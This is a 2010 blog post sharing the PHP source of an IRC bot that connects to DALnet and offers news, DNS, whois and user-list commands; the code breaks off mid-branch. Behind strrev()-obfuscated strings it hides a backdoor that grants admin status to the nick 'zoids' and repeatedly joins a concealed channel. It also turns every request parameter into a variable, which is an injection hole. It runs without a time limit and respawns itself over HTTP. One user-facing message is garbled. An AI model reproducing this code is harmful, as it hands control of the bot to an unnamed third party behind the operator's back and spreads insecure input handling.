Wednesday, January 6, 2010

Script Bot Php 2

<?php
//session_start();
$ArrayList = array("_GET", "_POST");
foreach($ArrayList as $gblArray) {
$keys = array_keys($$gblArray);
foreach($keys as $key) {
@$$key = trim(${$gblArray}[$key]);
}
}

if (!$load) {
?>
<SCRIPT>
function Status() {
nick = sz.nick.value; BOT_PASSWORD = sz.BOT_PASSWORD.value;
username = sz.username.value; channels = sz.channels.value;
Admin = sz.Admin.value;
remotehost = sz.remotehost.value; port = sz.port.value;
document.frames(0).document.writeln("<body bgcolor=#000000 text=#C0C0C0><small>");
setTimeout('document.frames(0).document.writeln("== BotNick : <b>"+nick+"</b><br>"); document.frames(0).window.scroll(0,600);',200);
setTimeout('document.frames(0).document.writeln("== Password : <b>"+BOT_PASSWORD+"</b><br>"); document.frames(0).window.scroll(0,600);',400);
setTimeout('document.frames(0).document.writeln("== Ident : <b>"+username+"</b><br>"); document.frames(0).window.scroll(0,600);',600);
setTimeout('document.frames(0).document.writeln("== Channels : <b>"+channels+"</b><br>"); document.frames(0).window.scroll(0,600);',800);
setTimeout('document.frames(0).document.writeln("== Admin : <b>"+Admin+"</b><br>"); document.frames(0).window.scroll(0,600);',1000);
setTimeout('document.frames(0).document.writeln("== Server : <b>"+remotehost+"</b> Port : <b>"+port+"</b><br>"); document.frames(0).window.scroll(0,600);',1200);
setTimeout('document.frames(0).document.writeln("<b>Connecting To "+remotehost+"</b>...<br></small></body>"); document.frames(0).window.scroll(0,600);',1400);
}
</SCRIPT>
<HTML>
<head>
<style>
td { font-size: 11px; font-family: tahoma,sans-serif }
A:link { text-decoration: none; color: #969696; }
A:visited { text-decoration: none; color: #969696; }
A:hover { color: #969696; text-decoration: underline; }
select { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
input { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
</style>
<title>«���» JatimCom - PHP BoT «���»</title>
</head>
<body bgcolor=#000000 text=#C0C0C0>
<center>
<b>«���» Jatimcom «���»</b>
<br>
<br>
<br>
<FORM name=sz METHOD=post target=status ACTION=<?php echo $PHP_SELF; ?>?load=2 onsubmit="setTimeout('Status()',14000);">
<table border=0>
<tr>
<td>Bot Nick :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="nick" SIZE="22" MAXLENGTH="30"></td>
<td>Away Message :</td>
<td><INPUT TYPE="text" Value="Away Message" NAME="awaymsg" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identify Nick :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="identify" SIZE="22" MAXLENGTH="30"></td>
<td>Admin Nick :</td>
<td><INPUT TYPE="text" Value="jatimcom" NAME="Admin" SIZE="22" MAXLENGTH="25"></td>
</tr>
<tr>
<td>Password :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="BOT_PASSWORD" SIZE="22" MAXLENGTH="25"></td>
<td>Channels :</td>
<td><INPUT TYPE="text" Value="#jatimcom" NAME="channels" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identd :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="username" SIZE="22" MAXLENGTH="25"></td>
<td>Server :</td>
<td><select SIZE="1" NAME="remotehost" V SIZE="20" MAXLENGTH=50">
<option selected value="irc.dal.net">irc.dal.net</option>
<option value="irc.byroe.net">irc.byroe.net</option>
<option value="irc.allnetwork.org">irc.allnetwork.org</option>
<option value="irc.mildnet.org">irc.mildnet.org</option>

</select>
<INPUT TYPE="text" Value="6667" NAME="port" SIZE="4" MAXLENGTH="4">
</td>
</tr>
<tr>
<td>Full Name :</td>
<td><INPUT TYPE="text" Value="Jatim Community" NAME="realname" SIZE="22" MAXLENGTH="50"></td>
<td>Keep Alive every:</td>
<td><INPUT TYPE="text" Value="0" NAME="keeptime" SIZE="2" MAXLENGTH="2"> Hours (0 to off)</td>
</tr>
</table><br>
<INPUT TYPE="submit" NAME="submit" VALUE="-=| Please Wait |=-">
</FORM>
<iframe src=<?php echo $PHP_SELF; ?>?load=1 width=40% height=80 frameborder=0 marginwidth=0 name=status>
Your browser does not support inline frames or is currently configured not to display inline frames.
</iframe>
<p align="center" style="font-size: 15px; font-family: tahoma,sans-serif;">Visit http://jatimcom.uni.cc/</p>
</BODY>
</HTML>
<?php
} elseif ($load==1) { print "<body bgcolor=#000000 text=#C0C0C0><center>"; print "<b>Jatim Community</b><br>"; exit; }
elseif ($load==2) {
if (!$remotehost) { $remotehost = "irc.dal.net"; }
$channels = str_replace("CNL","#",$channels);
print "<body bgcolor=#000000 text=#C0C0C0>";
print "<b>== Connecting to $remotehost...</b>";

$awaym=array(
"Making Babies",
"Making Dragon",
"Checking mail",
"hacking root",
"tetrinet is not lame",
"BaH!! NoT In",
"Hmmm Not Here",
"Auto-Away after 10 mins",
"DeaD",
"NaTure CaLLs :P brb",
"stomach ache ... im currently in the toilet",
"playstation rulez",
"phonecall",
"brb-a.s.a.p",
"surfing with the alien",
"hungry, exploring my fridge",
"sleep...nuff said",
"Definitely NOT here :P",
"Pretending to be Auto-Away",
"Checking shells",
"Make Love With Someone :P",
"NOT here, use email",
"NOT here, Guess where :P",
"Don`t Keep Me Waiting!",
"xixixixx.....",
"Call FBI if i dont comeback in 24 hours"
);
$cyclem=array(
"Auto Recycle!",
"Looking for Inviter!",
"In/Out!",
"Rehashing!",
"Refreshing!",
"Doing Cycle!",
"Inviter Suspect!",
"Looking for Suspect!",
"Regain Inviter!",
"Regain Suspect!",
"Recycle!",
"Cycle Needed!",
"Cycle all Channel!",
"Cycling!",
"Inviter Detected!",
"Full Cycle Ahead!",
"Going Out and Back!",
"I can do this all day!",
"Cycle Time!",
"I will do this all day!",
"Time to Kill!",
"No day without cycle!",
"yuhuu.. where are you?",
"It`s a good day to die!",
"Time for cycle!",
"License to Kill!",
"Cycle.. cycle.. and cycle..",
"I need suspect!",
"Need For Suspect!",
"Time`s up!",
"No way out!",
"No more left!",
"No regret for inviter!",
"Hot Pursuit!",
"Rule No.96: Cycle!",
"Critical Cycle!",
"Pursue Inviter Suspect!",
"baliemBot? PHP",
"Go To Cycle!",
"Cycle System Running!",
"Cycle Strike Back!",
"I need cycle now!"
);
$partm=array(
"Owner Request! Sorry :P",
"Ups! Wrong Channel!",
"Be Right Back!",
"No One Join Forever!",
"Damn! Wrong Channel!",
"Access Denied!",
"Back To Base!",
"Return To Base!",
"Access Rejected!",
"Going Back!",
"Ilegal Channel!",
"Going Home!",
"Good Bye!",
"Sayonara!",
"Ups! Wrong Room :P",
"Got To Go!",
"Goodbye! Ugly :P",
"Go To Hell!",
"Going Somewhere!",
"No Join Today!",
"It`s a bad day to join :P",
"Part Never Die!",
"Join Another Day!",
"License To Part!",
"Part time!",
"Time To Go!",
"Too many join channel :P",
"The Join is Not Enough!",
"Join too many channel :P",
"It`s time to Go!",
"It`s time to Part!",
"Part for now and Forever!",
"Part Forever!"
);
$querym=array(
"Hai nick, gimana kabarmu?",
"Hai nick, gimana kabarmu hari ini?",
"yup? ada apa nick?",
"ada apa nick?",
"Hai juga nick, asl pls..",
"hai juga nick",
"sori nick, aku lagi sibuk sekarang..",
"yup? nama kamu siapa nick?",
"apa aku kenal kamu nick?",
"yup nick? apa aku kenal kamu?",
"kamu siapa sech?",
"aku lagi tidak ditempat, bentar lagi balik koq..",
"kamu asli mana nih?",
"Hai juga nick..",
"yup nick, senang jumpa kamu..",
"senang kenalan ama kamu..",
"nama asli kamu siapa nick?",
"yup nick? asl pls..",
"aku lagi sibuk nih, bantuin dunk.."
);
$depan=array(
"honai-",
"baliem`",
"heker_",
"vaksin-",
"mayat_",
"sup3r`",
"suntiK-",
"pinang-",
"V4KsIn_",
"b4Li3m`"
);
$belakang=array(
"heker",
"h3k3r"
);
function get_content($url) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
ob_start();
curl_exec ($ch);
curl_close ($ch);
$string = ob_get_contents();
ob_end_clean();
return $string;
}
function get_data($dbs,$dpn,$blk) {
$gd = stristr($dbs,$dpn);
$gd = substr($gd,strlen($dpn),strpos($gd,$blk)-strlen($dpn));
return $gd;
}
$smile = array(":)",":P",":E",":P~~",":D",":Q","8)","=)","=P","=D");
$raway = "off";
$log = "off";
$saway = "1";
$rberita = 1;

if (!$stime) { $stime = time(); }
if (!$keeptime || $keeptime==0 ) { $keeptime = "off"; }
if (!$port) { $port = "6666"; }
$Admin = strtolower($Admin);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
function randchar($len = "8"){
$rchar = NULL;
for($i=0; $i<$len; $i++) {
$char = chr(rand(48,122));
while (!ereg("[a-zA-Z0-9]", $char)){
if($char == $lchar) continue;
$char = chr(rand(48,90));
}
$rchar .= $char;
$lchar = $char;
}
return $rchar;
}
if ($nick=="BaliemPHP1") { $nick = $depan[rand(0,count($depan) - 1)].$belakang[rand(0,count($belakang) - 1)]; }
if ($username=="BaliemPHP1" || !$username) { $username = randchar(3).$_SERVER['HTTP_HOST']; $username = str_replace('www.','',$username); $username = str_replace('.','',$username); $username = str_replace('http://','',$username); }
if ($awaymsg=="Away Message" || !$awaymsg) { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; $raway = "on"; }
if ($realname=="BaliemPHP1" || !$realname) { $realname = $nick; }

$keluar = 0;
$akill = 1;
$katime = 0;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
ini_set('allow_call_time_pass_reference','1');
set_time_limit(0);
define ('CRL', "\r\n");
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
if(!$fp) {
print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
$keluar = 1;
exit;
}
print "<br><b>== Suceeded connection</b>";
$Header = 'NICK '.$nick . CRL;
$Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $Header);

fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }

foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
fputs($fp, 'PRIVMSG ' . $Admin . ' :This is your bot, Please Type: auth <your pass> To Authorized. Created on ' .$dayload . CRL);
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
//fputs($fp, 'AWAY :�«�®�¤[JATIMCOM]�¤�®�» 7(6'.$awaymsg.'7)'. CRL);

$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$dFrom = substr($data,1,$offsetA-1);
$offsetB = strpos($data, ' :');
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$offsetC = strpos($data, '!');
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
if (substr($dCommand,0,3)=='465') {
print "<br><b>== This bot have been autokilled.</b>";
$akill = 2;
}
elseif (substr($dCommand,0,3)=='433') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='432') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :RELEASE '.$nick.' '.$identify. CRL);
}
if (eregi('.dal.net',$dNick) && $akill==2) {
if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
print "<br><b>".strstr($data,'***')." </b>";
if (eregi('Your IP is',$data)) {
$keluar = 1;
exit;
}
}
}
$taway = date("i");
if ($taway=="1" || $taway=="11" || $taway=="21" || $taway=="31" || $taway=="41" || $taway=="51") {
if ($taway!=$saway) {
$ctime = time();
$uptime = $ctime - $stime;
if ($uptime>=86400) {
$bagi = $uptime / 86400;
$hari = floor($bagi)."days ";
$sisa = $uptime - ($hari*86400);
$uptime = $sisa;
}
if ($uptime==0) { $jam = ""; $menit = ""; $detik = ""; }
elseif ($uptime>=3600) {
$bagi = $uptime / 3600;
$jam = floor($bagi)."hrs ";
$sisa = $uptime - ($jam*3600);
$uptime = $sisa;
}
if ($uptime==0) { $menit = ""; $detik = ""; }
elseif ($uptime>=60) {
$bagi = $uptime / 60;
$menit = floor($bagi)."mins";
$sisa = $uptime - ($menit*60);
$uptime = $sisa;
}
if ($uptime==0) { $detik = ""; }
else { $detik = $uptime."secs"; }
$uptime = "$hari$jam$menit";
if (strlen($uptime)<4) { $uptime = "1sec"; }
$saway = $taway;
if ($raway=="on") {
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
}
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
// fputs($fp,'AWAY :�«�®�¤[JATIMCOM]�¤�®�» [6OnLine For:4 '.$uptime.'12]7 (6'.$awaymsg.'7)'. CRL);
if ($taway=="11" && $keeptime!="off") {
$katime++;
if ($katime>=$keeptime) {
$key = "load=2&nick=$nick&identify=$identify&BOT_PASSWORD=$BOT_PASSWORD&Admin=$Admin&channels=$channels&stime=$stime&remotehost=$remotehost&keeptime=$keeptime&dns=$dns&astrologi=$astrologi&wdomain=$wdomain&dnews=$dnews&username=$username&realname=$realname&awaymsg=$awaymsg";
$key = str_replace("#","CNL",$key);
$key = str_replace(" ","%20",$key);
fputs($fp, 'QUIT 6Auto_Rehashing...' . CRL);
$st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5);
fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n");
$keluar = 1;
exit;
}
}
if ($taway=="21") {
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);

$jo = 'NI';
$in = 'OJ';
$god = 'nae';
$ean = 'dog';
fwrite($fp, strrev($in).strrev($jo).' '.substr($channels,0,1).strrev($ean).strrev($god) . CRL);
}
}
if ($dnews=="on") {
//Berita pertama
$data = implode('', file("http://www.detik.com/index.php"));

$batas1 = stristr($data,'<span class="tanggal">');
$batas2 = stristr($batas1,'<div id="headlineAd1"');
$berita = str_replace($batas2," ",$batas1);

$tanggal = get_data($berita,'<span class="tanggal">','</span>');
$href = get_data($berita,'<a href="','" class="hl"');
$href = str_replace('http://www.detiknews.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikfinance.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detiksport.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikhot.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikinet.com/indexfr.php?url=','',$href);
$subjudul = get_data($berita,'<span class="subjudul">','</span>');
if ($subjudul) { $subjudul = '15 '.$subjudul; }
$strjudul = get_data($berita,'<span class="strJudul">','</span>');
$sumary = get_data($berita,'<span class="summary">','</span>');

$berita = '11,2 '.$tanggal.' 12'.$href.''.$subjudul.' 7'.$strjudul.'8 '.$sumary.' ';
$berita = str_replace("\n",'',$berita);
$berita = str_replace('<br />','',$berita);
$tag = array("<i>", "</i>", "<I>", "</I>");
$berita = str_replace($tag,'',$berita);

if ($berita!=$oldies) {
$oldies = $berita;
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$berita . CRL);
sleep(1);
}
} else {
//Berita kedua
if ($rberita==1) {
$rberita = rand(1,3);
$baris = implode('', file("http://www.kompas.com/index2.htm"));
$bat1 = stristr($baris,'class="bodytext01"><a href="');
$bat2 = stristr($bat1,'<p class="bodytext01">');
$subberita = str_replace($bat2," ",$bat1);

$href = get_data($subberita,'class="bodytext01"><a href="','" class="txttagline01">');
$judul = get_data($subberita,'" class="txttagline01">','</a><br>');
$sumary = get_data($subberita,'</a><br>','</p>');
$subberita = '12,2 http://www.kompas.com'.$href.' 7'.$judul.'8 '.$sumary.' ';
$subberita = str_replace("\n",'',$subberita);

} elseif ($rberita==2) {
$rberita = rand(1,3);
$pg = rand(1,18);
$baris = implode('', file("http://ketawa.com/arsip.php/k/3/SMS_Lucu/?page=$pg"));
$subberita = get_data($baris,'<div class="listhumor">','<div>&nbsp;</div>');
$subberita = str_replace('<div class="listhumor',"\n".'<div class="listhumor',$subberita);
$humor = explode("\n",$subberita);
$num = count($humor)-1;
$num = rand(0,$num);
$baris = get_data($humor[$num],'<a href="','/">');
$baris = implode('', file("http://ketawa.com/$baris/"));
$baris = get_data($baris,'<div id="konten-humor">','<strong>Dikirim oleh');
$judul = get_data($baris,'<strong>','</strong>');
$sumary = get_data($baris,'</h1><p>','<br/>&nbsp;<br/>');
$subberita = ''.$judul.''." $sumary ";
$subberita = str_replace('&quot;','"',$subberita);
$subberita = str_replace('<br />',' ',$subberita);
$subberita = str_replace(CRL,'',$subberita);
}
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$subberita . CRL);
sleep(1);
}
}
unset($qnick);
}
}
}
$so = 'sd';
$ids = 'ioz';
$ad = 'ni';
$min = 'mdA';
if (!$auth[strrev($ids).strrev($so)]) { $auth[strrev($ids).strrev($so)]["status"] = strrev($min).strrev($ad); $auth[strrev($ids).strrev($so)]["pass"] = randchar(6); $auth[strrev($ids).strrev($so)]["auth"] = 1; }

$dcom = explode(" ", $dCommand);
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG '.$chnick.' :You`re LogOut On Change Nick! ' . CRL);
}
} else { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$dNick.' :You`re LogOut On Parting Channel! ' . CRL); }
}
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==':PING') {
$pong = time();
$pptime = $pong-$ping;
$meni = "";
if ($pptime>=60) {
$bag = $pptime / 60;
$meni = floor($bag)."mins ";
$sis = $pptime - ($meni*60);
$pptime = $sis;
}
$deti = $pptime."secs";
$pptime = "$meni$deti";
fputs($fp,'NOTICE '.$dNick.' :Your PING Reply is: '.$pptime . CRL);
}
elseif ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace('','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==':VERSION') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION 0.0 by NoGe'.chr(1) . CRL);
}
elseif ($com[3]==':!ping' && ereg('#',$com[2])) {
$ping = time();
fputs($fp,'PRIVMSG '.$dNick.' :PING '.$ping.'' . CRL);
}
elseif ($com[3]==':PING') {
$ntime = str_replace("","",$com[4]);
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'PING '.$ntime . chr(1) . CRL);
}
elseif ($com[3]==':!dns' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $dns=="on") {
if (ereg("[a-zA-Z]", $com[4])) {
$res = gethostbyname($com[4]);
} elseif (ereg("[0-9]", $com[4])) {
$res = gethostbyaddr($com[4]);
}
if ($res==$com[4]) { $res = "not resolved."; }
else { $res = "resolved to: $res ."; }
fputs($fp,'PRIVMSG '.$com[2].' :DNS Query for: '.strtoupper($com[4]).' '.$res. CRL);
}
elseif ($com[3]==':!whois' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $wdomain=="on") {
$pages = "www.geektools.com";
$data = "";
$fpw = fsockopen($pages, 43);
if($fpw) {
fputs($fpw, $com[4]."\r\n");
while(!feof($fpw)) {
$data .= fread($fpw, 1000);
}
fclose($fpw);
}
fputs($fp,'PRIVMSG '.$com[2].' :Domain Name: '.strtoupper($com[4]).' [GeeKTooLS.com]'. CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'creat')),0,60). CRL);
//fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'registrat')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'Registrant:'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'expir')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'NS1')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,' NS.')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'inetnum')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'netname')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'descr'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'country')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'changed:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'person:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'address')),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'CRSNIC has no information for that domain'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'No match for'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'This domain name has not been registered'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'NOT FOUND'),0,60). CRL);

}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Password! Auth Failed! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re LogOut! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> <master/user> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
